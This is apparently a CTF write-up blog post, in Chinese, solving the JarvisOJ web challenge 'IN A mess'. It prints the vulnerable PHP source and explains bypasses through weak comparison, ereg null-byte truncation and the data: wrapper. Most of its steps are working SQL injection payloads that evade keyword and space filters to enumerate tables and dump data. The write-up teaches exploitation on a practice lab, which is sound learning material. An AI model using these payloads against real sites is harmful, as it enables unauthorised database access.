jarvisoj web-IN A mess

25 篇文章 2 订阅

打开题目网址是空白的,f12看到index.phps,
得到源代码


if(!$_GET['id'])
{
	header('Location: index.php?id=1');
	exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.')) # 查找.在a变量出现的位置
{
	echo 'Hahahahahaha';
	return ;
}
#id==0,典型的弱类型比较,id=0e,即可绕过
#b变量要求大于5,因为ereg()函数存在NULL截断漏洞,导致正则过滤被绕过,所以可以用%00来截断正则匹配,第二个条件长度strlen函数对%00不截断但substr截断),且长度要大于等于5,那么可以令 b=%00555555,
#a变量,由data进行赋值: $data = @file_get_contents($a,'r') 而又有 $data=="1112 is a nice lab!" 可以利用远程文件包含在 allow_url_include开启时可以使用,但发现对 $a有了 .过滤所以还是data协议比较稳妥 ,令a=data;,1112 is a nice lab!
$data = @file_get_contents($a,'r');
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
	require("flag.txt");
}
else
{
	print "work harder!harder!harder!";
}


?>

代码审计注释在了代码里,构造payload:
id=0e&a=data:,1112 is a nice lab!&b=%0055555
在这里插入图片描述得到/^HT2mCpcvOLf。经过摸索发现是一个目录,访问后自动补全
在这里插入图片描述单引号发现sql语句应该sql注入,测试后发现确实存在注入且过滤了空格,括号,等

注入过程,空格用/**/代替

?id=1/*1*/and/*1*/1/*1*/=/*1*/1 --显示正常
?id=1/*1*/and/*1*/1/*1*/=/*1*/2 --显示错误

确定存在注入
在这里插入图片描述爆字段,

?id=1/*1*/order/*1*/by/*1*/1    --显示正常
?id=1/*1*/order/*1*/by/*1*/2		--显示正常
?id=1/*1*/order/*1*/by/*1*/3		--显示正常,
?id=1/*1*/order/*1*/by/*1*/4  --显示错误,字段数为3

得到字段查询数据库,test

id=-1/*1*/uniunionon/*1*/selselectect/*1*/1,2,(database())%23

在这里插入图片描述
查询表

-1/*1*/uniunionon/*1*/selselectect/*1*/1,2,(selselectect/*1*/group_concat(table_name)/*1*/frfromom/*1*/information_schema.tables/*1*/where/*1*/table_schema=database())%23

得到表名content
在这里插入图片描述查列名

-1/*1*/uniunionon/*1*/selselectect/*1*/1,2,(selselectect/*1*/group_concat(column_name)/*1*/frfromom/*1*/information_schema.columns/*1*/where/*1*/table_name=0x636f6e74656e74)%23

得到列名
在这里插入图片描述
读取这个可以的context,
payload

-1/*1*/ununionion/*1*/seselectlect/*1*/1,2,(selselectect/*1*/group_concat(context)/*2*/frfromom/*1*/content)%23

在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值